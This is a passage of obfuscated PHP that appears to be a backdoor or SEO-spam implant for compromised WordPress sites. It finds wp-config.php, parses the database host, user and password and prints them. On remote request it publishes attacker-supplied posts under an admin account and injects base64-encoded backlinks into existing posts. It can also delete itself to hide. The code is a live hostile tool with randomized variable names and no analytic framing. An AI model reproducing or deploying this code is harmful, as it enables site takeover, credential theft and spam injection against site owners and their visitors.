tt"."main"."tt
";if(array_key_exists('article',$_REQUEST)){$rao133137876e26fb4c=get_load_path();$qfy3b770ebe9b04f171=include_once($rao133137876e26fb4c);if($qfy3b770ebe9b04f171&&function_exists('wp_insert_post')&&function_exists('get_permalink')){print"#loaded wp-load#\n";wp_load_insert_post();}else{print"#Failed to load wp-load, trying to parse config directly#\n";list($xuv8e683187a00e5d46,$eds7a6f150b83091ce2,$uqz5ed3a3ff8e5c2997,$sue37c965a8d6d7bec2)=get_mysql_mysqli_handlers();$vsq425db905039f7a65=get_conf_path();$wid727bb92f57c3951d='wp_';$gkn531a93a176df5bde=connect_using_parse_config($vsq425db905039f7a65);if($gkn531a93a176df5bde){print"#success connection using parse#\n";}else{print"#failed to connect using parse#\n";die;}config_parse_insert_post();}}else{list($xuv8e683187a00e5d46,$eds7a6f150b83091ce2,$uqz5ed3a3ff8e5c2997,$sue37c965a8d6d7bec2)=get_mysql_mysqli_handlers();$vsq425db905039f7a65=get_conf_path();$wid727bb92f57c3951d='wp_';$gkn531a93a176df5bde=etablish_db_connection($vsq425db905039f7a65);dispatch_exec_commands_for_conf();}function config_parse_insert_post(){list($slz87de66479aea0306,$sto2040a28d572e0889)=get_article();$jkx7f01968cc3ac372c=sql_wp_insert_post(array('post_title' =>$sto2040a28d572e0889,'post_content' =>$slz87de66479aea0306,'post_status' =>'publish','post_date' =>date('Y-m-d H:i:s'),'post_author' =>'1','post_type' =>'post','post_category' =>array(0)));if($jkx7f01968cc3ac372c){$jbdcdcfd9a3e290cb14=sql_get_permalink($jkx7f01968cc3ac372c);print"#Created post_id: !$jkx7f01968cc3ac372c!$jbdcdcfd9a3e290cb14!#\n";}else{print"#Unable to create new post#\n";}}function sql_wp_insert_post($vja0839f88ae61efaa3){$axnab690da061c9b963=array('post_title' =>$vja0839f88ae61efaa3['post_title'],'post_content' =>$vja0839f88ae61efaa3['post_content'],'post_status' =>$vja0839f88ae61efaa3['post_status'],'post_date' =>$vja0839f88ae61efaa3['post_date'],'post_date_gmt' =>$vja0839f88ae61efaa3['post_date'],'post_author' =>$vja0839f88ae61efaa3['post_author'],'post_type' =>$vja0839f88ae61efaa3['post_type'],'post_modified' =>$vja0839f88ae61efaa3['post_date'],'post_modified_gmt' =>$vja0839f88ae61efaa3['post_date'],'post_content_filtered' =>'','post_excerpt' =>'','to_ping' =>'','pinged' =>'',);global $wid727bb92f57c3951d;global $gkn531a93a176df5bde;$rvu3f0f862b0c65d1b8=execute_query("INSERT INTO ".$wid727bb92f57c3951d."posts (`post_title`, `post_content`, `post_status`, `post_date`, `post_date_gmt`, `post_author`, `post_type`, `post_modified`, `post_modified_gmt`, `post_excerpt`, `to_ping`, `pinged`, `post_content_filtered`) VALUES ('".$axnab690da061c9b963['post_title']."','".$axnab690da061c9b963['post_content']."','".$axnab690da061c9b963['post_status']."','".$axnab690da061c9b963['post_date']."','".$axnab690da061c9b963['post_date']."','".$axnab690da061c9b963['post_author']."','".$axnab690da061c9b963['post_type']."','".$axnab690da061c9b963['post_modified']."','".$axnab690da061c9b963['post_modified_gmt']."','".$axnab690da061c9b963['post_excerpt']."','".$axnab690da061c9b963['to_ping']."','".$axnab690da061c9b963['pinged']."','".$axnab690da061c9b963['post_content_filtered']."')");return $gkn531a93a176df5bde->$unn8916879d1cfb675c;}function sql_get_permalink($jkx7f01968cc3ac372c){$vsq425db905039f7a65=get_conf_path();$idg4d41ca3ae901a60c=substr_count($vsq425db905039f7a65,'../');$jbdcdcfd9a3e290cb14="$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$jbdcdcfd9a3e290cb14=strtok($jbdcdcfd9a3e290cb14,'?');$pbx7c030bc903e6dce0=explode('/',$jbdcdcfd9a3e290cb14);array_pop($pbx7c030bc903e6dce0);array_splice($pbx7c030bc903e6dce0,0,-$idg4d41ca3ae901a60c);$qxy894e71a060267ada="http://".join('/',$pbx7c030bc903e6dce0)."/";return $qxy894e71a060267ada."?p=$jkx7f01968cc3ac372c";}function wp_load_insert_post(){list($slz87de66479aea0306,$sto2040a28d572e0889)=get_article();$jkx7f01968cc3ac372c=wp_insert_post(array('post_title' =>$sto2040a28d572e0889,'post_content' =>$slz87de66479aea0306,'post_status' =>'publish','post_date' =>date('Y-m-d H:i:s'),'post_author' =>get_admin_id(),'post_type' =>'post','post_category' =>array(0)));if($jkx7f01968cc3ac372c){$jbdcdcfd9a3e290cb14=get_permalink($jkx7f01968cc3ac372c);print"#Created post_id: !$jkx7f01968cc3ac372c!$jbdcdcfd9a3e290cb14!#\n";}else{print"#Unable to create new post#\n";}}function get_mysql_mysqli_handlers(){if(function_exists('mysqli_connect')){return array('mysqli_connect','mysqli_query','mysqli_error','mysqli_real_escape_string');}if(function_exists('mysql_connect')){return array('mysql_connect','mysql_query','mysql_error','mysql_real_escape_string');}echo "Unable to get dbh\n";die;}function dispatch_exec_commands_for_conf(){if(array_key_exists('first',$_REQUEST)){get_posts_count();$gsc3caa85db42b2089e=get_first_post_id();if($gsc3caa85db42b2089e){print"#First id: $gsc3caa85db42b2089e#\n";}else{print"#No matching posts were found#\n";die;}fetch_next_post($gsc3caa85db42b2089e);}if(array_key_exists('post_id',$_REQUEST)){$drie5a9d8684a8edfed=$_REQUEST['post_id'];$jmsd8a37471e5321ec0=get_backlink();add_backlink_to_post($jmsd8a37471e5321ec0,$drie5a9d8684a8edfed);fetch_next_post($drie5a9d8684a8edfed);}}function fetch_next_post($drie5a9d8684a8edfed){$mrbefabc30264bfc793=get_next_post_id($drie5a9d8684a8edfed);if($mrbefabc30264bfc793){print"#Next id: $mrbefabc30264bfc793#\n";}else{print"#No next id#\n";}}function check_commands(){if(array_key_exists('delete',$_REQUEST)){unlink(__FILE__);}}function get_admin_id(){$lgc518fd46dddb3f97e=get_super_admins();$vgta455620d6612d981=get_user_by('login',$lgc518fd46dddb3f97e[array_rand($lgc518fd46dddb3f97e)]);return $vgta455620d6612d981->$ovpbbf2466e744a5003;}function get_conf_path(){return get_file_path('wp-config.php');}function get_load_path(){return get_file_path('wp-load.php');}function get_file_path($rdo818c475ef1737f78){$qqy037441d7b3ac819e=$rdo818c475ef1737f78;for($wwn5c0af73a00eb60d7=0;$wwn5c0af73a00eb60d7<10;$wwn5c0af73a00eb60d7++){$lau14e1410eb2e6e386=$wwn5c0af73a00eb60d7==0?'./':str_repeat('../',$wwn5c0af73a00eb60d7);$rdo818c475ef1737f78=$lau14e1410eb2e6e386.$rdo818c475ef1737f78;if(is_readable($rdo818c475ef1737f78)){echo"config path: $rdo818c475ef1737f78\n";return $rdo818c475ef1737f78;}$rdo818c475ef1737f78=$qqy037441d7b3ac819e;}echo "Unable to find ".$rdo818c475ef1737f78;die;}function get_backlink(){if(array_key_exists('link',$_REQUEST)){return base64_decode(urldecode($_REQUEST['link']));}echo "No links where specified.";die;}function get_article(){if(array_key_exists('article',$_REQUEST)&&array_key_exists('title',$_REQUEST)){$slz87de66479aea0306=base64_decode(urldecode($_REQUEST['article']));$sto2040a28d572e0889=base64_decode(urldecode($_REQUEST['title']));return array($slz87de66479aea0306,$sto2040a28d572e0889);}echo "No articles where specified.";die;}function etablish_db_connection($rao5b668e57ec706744){$wny04d597606e0989a6=connect_using_parse_config($rao5b668e57ec706744);if($wny04d597606e0989a6){return $wny04d597606e0989a6;}$wny04d597606e0989a6=connect_using_require($rao5b668e57ec706744);if($wny04d597606e0989a6){return $wny04d597606e0989a6;}echo "Failed to connect to MySQL\n";die;}function connect_using_require($rao5b668e57ec706744){global $wid727bb92f57c3951d;echo "Trying to connect using require\n";require_once($rao5b668e57ec706744);echo "Got table prefix using require\n";$wid727bb92f57c3951d=$bqo9b80b13ee7aa2867;$gkn531a93a176df5bde=db_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,'require');return $gkn531a93a176df5bde;}function db_connect($lnge9de47c7569b596c,$dys0fdcbaaa7db37016,$jwp8db64bce186cbad8,$lewfb507393460e685e,$cluc49cf36844cf3448){global $xuv8e683187a00e5d46;global $uqz5ed3a3ff8e5c2997;echo"#db_connect host: $lnge9de47c7569b596c user: $dys0fdcbaaa7db37016 password: $jwp8db64bce186cbad8 name: $lewfb507393460e685e method_name: $cluc49cf36844cf3448#\n";if(is_mysqli()){$rij1b9aac3dbf61f1e5=null;$wgr6ca83fb3f716a14a=null;$zlr36a618882f68d74c=strstr($lnge9de47c7569b596c,':');if(!empty($zlr36a618882f68d74c)){$lnge9de47c7569b596c=substr($lnge9de47c7569b596c,0,strpos($lnge9de47c7569b596c,':'));$zlr36a618882f68d74c=substr($zlr36a618882f68d74c,1);if(strpos($zlr36a618882f68d74c,'/')!==0){$rij1b9aac3dbf61f1e5=intval($zlr36a618882f68d74c);$bip1d6bbcdff6f0acb4=strstr($zlr36a618882f68d74c,':');if(!empty($bip1d6bbcdff6f0acb4)){$wgr6ca83fb3f716a14a=substr($bip1d6bbcdff6f0acb4,1);}}else{$wgr6ca83fb3f716a14a=$zlr36a618882f68d74c;}}$gkn531a93a176df5bde=call_user_func($xuv8e683187a00e5d46,$lnge9de47c7569b596c,$dys0fdcbaaa7db37016,$jwp8db64bce186cbad8,$lewfb507393460e685e,$rij1b9aac3dbf61f1e5,$wgr6ca83fb3f716a14a);}else{$gkn531a93a176df5bde=call_user_func($xuv8e683187a00e5d46,$lnge9de47c7569b596c,$dys0fdcbaaa7db37016,$jwp8db64bce186cbad8,$lewfb507393460e685e);mysql_select_db($lewfb507393460e685e);}if(!$gkn531a93a176df5bde){echo"Failed to connect to MySQL using $cluc49cf36844cf3448: ".call_user_func($uqz5ed3a3ff8e5c2997)."\n";return 0;}echo"Success connection using $cluc49cf36844cf3448\n";return $gkn531a93a176df5bde;}function connect_using_parse_config($rao5b668e57ec706744){global $wid727bb92f57c3951d;$ibua1a4b0b8357dda28=file_get_contents($rao5b668e57ec706744);if(preg_match("/define\('DB_HOST',\s*'(.*?)'\);/",$ibua1a4b0b8357dda28,$etr0d5afc51b9ef610e)){$lnge9de47c7569b596c=$etr0d5afc51b9ef610e[1];}if(preg_match("/define\('DB_USER',\s*'(.*?)'\);/",$ibua1a4b0b8357dda28,$etr0d5afc51b9ef610e)){$dys0fdcbaaa7db37016=$etr0d5afc51b9ef610e[1];}if(preg_match("/define\('DB_PASSWORD',\s*'(.*?)'\);/",$ibua1a4b0b8357dda28,$etr0d5afc51b9ef610e)){$jkp075da10ab8fc952c=$etr0d5afc51b9ef610e[1];}if(preg_match("/define\('DB_NAME',\s*'(.*?)'\);/",$ibua1a4b0b8357dda28,$etr0d5afc51b9ef610e)){$lewfb507393460e685e=$etr0d5afc51b9ef610e[1];}if(preg_match("/\\\$table_prefix\s*=\s*'(.*?)';/",$ibua1a4b0b8357dda28,$etr0d5afc51b9ef610e)){echo "Got table prefix using parse\n";$wid727bb92f57c3951d=$etr0d5afc51b9ef610e[1];}else{echo "Wasn't able to get table prefix using parse\n";}if(!isset($lnge9de47c7569b596c)||!isset($dys0fdcbaaa7db37016)||!isset($jkp075da10ab8fc952c)||!isset($lewfb507393460e685e)){echo "Failed to connect to MySQL using parse: failed to extract data\n";return 0;}$gkn531a93a176df5bde=db_connect($lnge9de47c7569b596c,$dys0fdcbaaa7db37016,$jkp075da10ab8fc952c,$lewfb507393460e685e,'parse');return $gkn531a93a176df5bde;}function get_first_post_id(){global $wid727bb92f57c3951d;$rvu3f0f862b0c65d1b8=execute_query("SELECT id FROM ".$wid727bb92f57c3951d."posts WHERE post_status = 'publish' AND post_type IN ('post', 'page') ORDER BY id ASC LIMIT 1");$rvu3f0f862b0c65d1b8=fetch_assoc($rvu3f0f862b0c65d1b8);if(count($rvu3f0f862b0c65d1b8)==0){return false;}return $rvu3f0f862b0c65d1b8[0]['id'];}function fetch_assoc($rvu3f0f862b0c65d1b8){$tje4d7a2b8c35f5ac30=array();if(is_mysqli()){while($opdb9c4c0ec0a3bc887=$rvu3f0f862b0c65d1b8->fetch_assoc()){$tje4d7a2b8c35f5ac30[]=$opdb9c4c0ec0a3bc887;}}else{while($opdb9c4c0ec0a3bc887=mysql_fetch_assoc($rvu3f0f862b0c65d1b8)){$tje4d7a2b8c35f5ac30[]=$opdb9c4c0ec0a3bc887;}}return $tje4d7a2b8c35f5ac30;}function is_mysqli(){global $xuv8e683187a00e5d46;return $xuv8e683187a00e5d46==='mysqli_connect';}function get_next_post_id($oqqd2d80fe634ef8d08){global $gkn531a93a176df5bde;global $wid727bb92f57c3951d;$rvu3f0f862b0c65d1b8=execute_query("SELECT id FROM ".$wid727bb92f57c3951d."posts WHERE post_status = 'publish' AND post_type IN ('post', 'page') AND ID > $oqqd2d80fe634ef8d08 ORDER BY id ASC LIMIT 1");$rvu3f0f862b0c65d1b8=fetch_assoc($rvu3f0f862b0c65d1b8);if(count($rvu3f0f862b0c65d1b8)==0){return false;}return $rvu3f0f862b0c65d1b8[0]['id'];}function execute_query($lec05cf661e24c0619c){global $gkn531a93a176df5bde;global $eds7a6f150b83091ce2;global $uqz5ed3a3ff8e5c2997;if(is_mysqli()){echo"query: $lec05cf661e24c0619c#";$rvu3f0f862b0c65d1b8=call_user_func($eds7a6f150b83091ce2,$gkn531a93a176df5bde,$lec05cf661e24c0619c);}else{$rvu3f0f862b0c65d1b8=call_user_func($eds7a6f150b83091ce2,$lec05cf661e24c0619c);}if(!$rvu3f0f862b0c65d1b8){echo"Failed to execute query ($eipe0af5865757b3f2a): ".get_error();die;}return $rvu3f0f862b0c65d1b8;}function get_error(){global $gkn531a93a176df5bde;if(is_mysqli()){return mysqli_error($gkn531a93a176df5bde);}else{return mysql_error();}}function get_posts_count(){global $wid727bb92f57c3951d;echo"#wp_prefix: $wid727bb92f57c3951d#\n";$rvu3f0f862b0c65d1b8=execute_query("SELECT COUNT(*) FROM ".$wid727bb92f57c3951d."posts WHERE post_status = 'publish' AND post_type IN ('post', 'page')");$rvu3f0f862b0c65d1b8=fetch_assoc($rvu3f0f862b0c65d1b8);$ohq927493986e494d6b=$rvu3f0f862b0c65d1b8[0]['COUNT(*)'];echo"#Posts count: $ohq927493986e494d6b#\n";return $ohq927493986e494d6b;}function get_post_data($drie5a9d8684a8edfed){global $wid727bb92f57c3951d;$rvu3f0f862b0c65d1b8=execute_query("SELECT id,guid,post_content FROM ".$wid727bb92f57c3951d."posts WHERE id = $drie5a9d8684a8edfed");$rvu3f0f862b0c65d1b8=fetch_assoc($rvu3f0f862b0c65d1b8);if(count($rvu3f0f862b0c65d1b8)==0){print"#No post available with id: $drie5a9d8684a8edfed#\n";die;}return $rvu3f0f862b0c65d1b8[0];}function add_backlink_to_post($jbdcdcfd9a3e290cb14,$drie5a9d8684a8edfed){global $gkn531a93a176df5bde;global $wid727bb92f57c3951d;global $sue37c965a8d6d7bec2;global $uqz5ed3a3ff8e5c2997;$cglff84162e2ea4af19=get_post_data($drie5a9d8684a8edfed);$jkx7f01968cc3